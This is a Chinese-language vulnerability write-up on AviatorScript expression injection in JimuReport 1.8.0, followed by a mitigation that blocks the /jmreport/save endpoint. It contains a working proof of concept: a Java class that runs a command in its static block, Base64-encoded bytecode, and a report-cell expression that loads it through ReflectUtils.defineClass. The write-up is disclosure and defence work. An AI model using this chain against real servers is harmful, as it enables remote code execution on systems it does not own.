AviatorScript表达式注入漏洞,复现及解决
依赖版本
<groupId>org.jeecgframework.jimureport</groupId>
<artifactId>jimureport-spring-boot-starter</artifactId>
<version>1.8.0</version>
复现过程
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class test1 extends AbstractTranslet {
public test1() {
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
static {
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException var1) {
throw new RuntimeException(var1);
}
}
}
1、创建test1类,加载类时可调起服务端计算器(windows系统参数为 calc, Runtime.getRuntime().exec(“calc”); )。
2、使用javac命令 ,将类编译成字节码文件, javac test1.java
3、生成字节码base64字符串
public class ClassToBase64 {
public static void main(String[] args) {
try {
// 读取 .class 文件
Path path = Paths.get(“test1.class”);
byte[] classBytes = Files.readAllBytes(path);
// 将字节数组编码为 Base64 字符串
String base64Class = Base64.getEncoder().encodeToString(classBytes);
// 输出 Base64 编码的字符串
System.out.println(base64Class);
} catch (IOException e) {
e.printStackTrace();
}
}
}
4、创建积木报表,选择一个单元格,设置如下内容(AviatorScript表达式),表达式中的base64字符串以及类名替换成自己的,含义是通过ClassLoader加载类test1。
=(use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('test1', Base64Utils.decodeFromString('yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAdAQAKU291cmNlRmlsZQEACnRlc3QxLmphdmEMAAoACwcAIwwAJAAlAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAAoAKAEABXRlc3QxAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAAIQABAAEAAAAFKrcAAbEAAAABAA0AAAAKAAIAAAAJAAQACgABAA4ADwACAAwAAAAZAAAAAwAAAAGxAAAAAQANAAAABgABAAAADQAQAAAABAABABEAAQAOABIAAgAMAAAAGQAAAAQAAAABsQAAAAEADQAAAAYAAQAAABAAEAAAAAQAAQARAAgAEwALAAEADAAAAFQAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQACAA0AAAAWAAUAAAAUAAkAFwAMABUADQAWABYAGAAUAAAABwACTAcAFQkAAQAWAAAAAgAX'), ClassLoader.getSystemClassLoader());)
保存报表,保存会使用积木报表接口 /jmreport/save
5、首次查看报表时,会调接口/jmreport/show,执行表达式,打开服务器的计算器。
具体代码执行逻辑可以看 ExpressUtil中,可以发现存在AviatorEvaluator。从而完成表达式执行。因此客户端可发起对服务端的攻击,例如服务 (DoS) 攻击
解决
加强积木报表接口的安全控制。
我们报表配置是研发配置的不需要暴露给用户,配置完成使用sql初始化就可以,所以我们禁用了保存接口。
通过 Spring Security 禁用保存接口
antMatchers(“/jmreport/save”).denyAll()
参考文档
https://blog.csdn.net/weixin_49125123/article/details/141819477
https://mp.weixin.qq.com/s/H5LKy9ISLPvRmm3lpWRtew